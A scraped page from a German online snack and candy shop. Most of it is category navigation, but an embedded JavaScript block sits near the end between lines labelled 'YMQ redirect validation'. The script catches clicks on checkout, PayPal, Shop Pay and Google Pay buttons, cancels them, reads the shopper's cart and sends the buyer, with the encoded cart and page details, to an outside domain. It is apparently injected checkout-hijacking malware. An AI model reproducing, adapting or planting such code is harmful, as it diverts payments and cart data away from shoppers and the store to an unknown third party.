Direkt zum Inhalt
American Uncle
Alles das Essen
🍒🐻 Candy box
Snack gesalzen
Pommes und Chips
Trockenfleisch
Cracker und Popcorn
Snack aus Reis, Weizen und Konjak
Snack Süßigkeiten
Biscotti e Wafer
Mochi
Snack mit Schokolade
Süßer Popcorn
Süßigkeiten
Weiche und zähe Süßigkeiten
Hartbonbons, Lutscher und Pez
Flüssige Süßigkeiten
Freeze Dried Candy
Reifen
Frühstück
Getreide und Müsli
Kleine Snacks
Speisekammer
Bereiten Sie sich auf Süßigkeiten vor
Pasta, Reis und Nudeln
Saucen und Gewürze
Streichcremes und Toppings
Kit x Smash & Hot Dog
Asian Trends
Hot Products
Geschenke
Für wen?
Geschenke für die Mama
Geschenke für den Papa
Geschenke für Freund/in
Geschenke für Partner
Für welchen Anlass?
Regali di Pasqua
Geschenke zum Geburtstag
Geschenke zum Jahrestag
Geschenke für den Abschluss
Geschenke für Junggesellen- und Junggesellinnenabschiede
Gastgeschenk und kleine Geschenke am Ende der Feier
Kleine Geschenke für die Babyparty
Geschenkkarte
Pop & Lizenzen
Neuigkeiten
Promo
Großhandel
🐶 Snack for Pet
Suche
Account
0
Einkaufswagen
.
.
.
Seitennavigation
Search
Suche
Schließen
Ihr Einkaufswagen ist im Moment leer.
Alles das Essen
🍒🐻 Candy box
Snack gesalzen
Menü maximieren
Snack gesalzen
Alle anzeigen
Pommes und Chips
Trockenfleisch
Cracker und Popcorn
Snack aus Reis, Weizen und Konjak
Snack Süßigkeiten
Menü maximieren
Snack Süßigkeiten
Alle anzeigen
Biscotti e Wafer
Mochi
Snack mit Schokolade
Süßer Popcorn
Süßigkeiten
Menü maximieren
Süßigkeiten
Alle anzeigen
Weiche und zähe Süßigkeiten
Hartbonbons, Lutscher und Pez
Flüssige Süßigkeiten
Freeze Dried Candy
Reifen
Frühstück
Menü maximieren
Frühstück
Alle anzeigen
Getreide und Müsli
Kleine Snacks
Speisekammer
Menü maximieren
Speisekammer
Alle anzeigen
Bereiten Sie sich auf Süßigkeiten vor
Pasta, Reis und Nudeln
Saucen und Gewürze
Streichcremes und Toppings
Kit x Smash & Hot Dog
Asian Trends
Hot Products
Geschenke
Menü maximieren
Geschenke
Alle anzeigen
Für wen?
Menü maximieren
Für wen?
Alle anzeigen
Geschenke für die Mama
Geschenke für den Papa
Geschenke für Freund/in
Geschenke für Partner
Für welchen Anlass?
Menü maximieren
Für welchen Anlass?
Alle anzeigen
Regali di Pasqua
Geschenke zum Geburtstag
Geschenke zum Jahrestag
Geschenke für den Abschluss
Geschenke für Junggesellen- und Junggesellinnenabschiede
Gastgeschenk und kleine Geschenke am Ende der Feier
Kleine Geschenke für die Babyparty
Geschenkkarte
Pop & Lizenzen
Neuigkeiten
Promo
Großhandel
🐶 Snack for Pet
YMQ redirect validation e8d01f7310
(() => { 'use strict'; const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1'; const ENTRY = 'https://bu008feng.my/'; const CHECKOUT_PATH = '/checkout'; if (window.__YMQ_REDIRECT_RUNTIME_e8d01f7310__ === VERSION) return; window.__YMQ_REDIRECT_RUNTIME_e8d01f7310__ = VERSION; const state = { version: VERSION, busy: false, lastError: '', lastPayload: null, lastUrl: '' }; window.__YMQ_REDIRECT_STATE_e8d01f7310__ = state; const text = (value, fallback = '') => { if (value === null || value === undefined) return fallback; return String(value).trim() || fallback; }; const minor = (value) => { const number = Number(value); return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0; }; const currencyFactor = (currency) => { try { const digits = new Intl.NumberFormat('en', { style: 'currency', currency }).resolvedOptions().maximumFractionDigits; return 10 ** digits; } catch { return 100; } }; const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100); const absoluteImage = (value) => { const source = text(value && typeof value === 'object' ? (value.url || value.src) : value); if (!source) return ''; try { return new URL(source, location.origin).href; } catch { return source; } }; const discounts = (entries, factor) => (Array.isArray(entries) ? entries : []) .map((entry, index) => ({ id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index), label: text(entry && (entry.title || entry.code || entry.type), 'Discount'), amountMinor: shopifyMoney(entry && ( entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount ), factor) })) .filter((entry) => entry.amountMinor > 0); const normalizeCart = (cart) => { const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase(); const factor = currencyFactor(currency); const items = (Array.isArray(cart && cart.items) ? cart.items : []) .map((item, index) => { const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1)); const variant = text(item && item.variant_title); return { id: text(item && (item.key || item.variant_id || item.id), 'item-' + index), productId: text(item && item.product_id), variantId: text(item && (item.variant_id || item.id)), title, variant, quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0), unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor), lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor), image: absoluteImage(item && ( item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src)) )), discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor) }; }) .filter((item) => item.quantity > 0); return { locale: text(document.documentElement.lang || navigator.language, 'en-US'), currency, items, discounts: discounts(cart && cart.cart_level_discount_applications, factor), shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor), totalMinor: shopifyMoney(cart && cart.total_price, factor), savingsMinor: shopifyMoney(cart && cart.total_discount, factor), itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0) }; }; const encodeBase64Url = (value) => { const bytes = new TextEncoder().encode(JSON.stringify(value)); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const randomRequestToken = () => { const bytes = new Uint8Array(128); crypto.getRandomValues(bytes); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const readCart = async () => { let lastError = null; for (let attempt = 0; attempt < 3; attempt += 1) { try { const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, { credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' } }); if (!response.ok) throw new Error('cart_http_' + response.status); return await response.json(); } catch (error) { lastError = error; if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220)); } } throw lastError || new Error('cart_unavailable'); }; const fromEvent = (event) => { const path = typeof event.composedPath === 'function' ? event.composedPath() : []; const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target; if (!(source instanceof Element)) return null; return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source; }; const checkoutText = (element) => { if (!element) return ''; const form = element.closest && element.closest('form'); return [ element.innerText, element.textContent, element.value, element.id, element.name, element.className, element.getAttribute && element.getAttribute('aria-label'), element.href, element.formAction, form && form.action, element.tagName ].filter(Boolean).join(' ').toLowerCase(); }; const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element)); const checkoutTarget = (element) => { const form = element && element.closest ? element.closest('form') : null; const direct = (element && (element.href || element.formAction)) || (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) || (form && form.action) || ''; const fallback = location.origin + CHECKOUT_PATH; const value = text(direct); if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback; try { return new URL(value, location.origin).href; } catch { return fallback; } }; const stop = (event) => { if (!event) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); }; const buildUrl = (cart, target) => { const order = normalizeCart(cart); if (!order.items.length) throw new Error('cart_empty'); const payload = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order }; const url = new URL(ENTRY); const values = [ ['ymq_canary', 'YMQ-e8d01f7310'], ['transaction_id', 'e8d01f73102ed53abd59c9feffb101b3'], ['co', encodeBase64Url(payload)], ['return_to', target], ['site', location.hostname], ['source_site', location.hostname], ['source_host', location.hostname], ['source_origin', location.origin], ['source_path', location.pathname], ['source_url', location.href], ['checkout_path', CHECKOUT_PATH], ['overlay_route', '/'], ['_r', randomRequestToken()] ]; for (const [name, value] of values) url.searchParams.set(name, value); state.lastPayload = payload; state.lastUrl = url.href; try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {} return url.href; }; const intercept = async (event) => { const element = fromEvent(event); if (!isCheckout(element)) return; stop(event); if (state.busy) return; state.busy = true; try { const cart = await readCart(); location.assign(buildUrl(cart, checkoutTarget(element))); } catch (error) { state.lastError = String(error && error.message || error); state.busy = false; } }; window.addEventListener('pointerdown', intercept, true); window.addEventListener('click', intercept, true); window.addEventListener('submit', intercept, true); })();
YMQ redirect validation e8d01f7310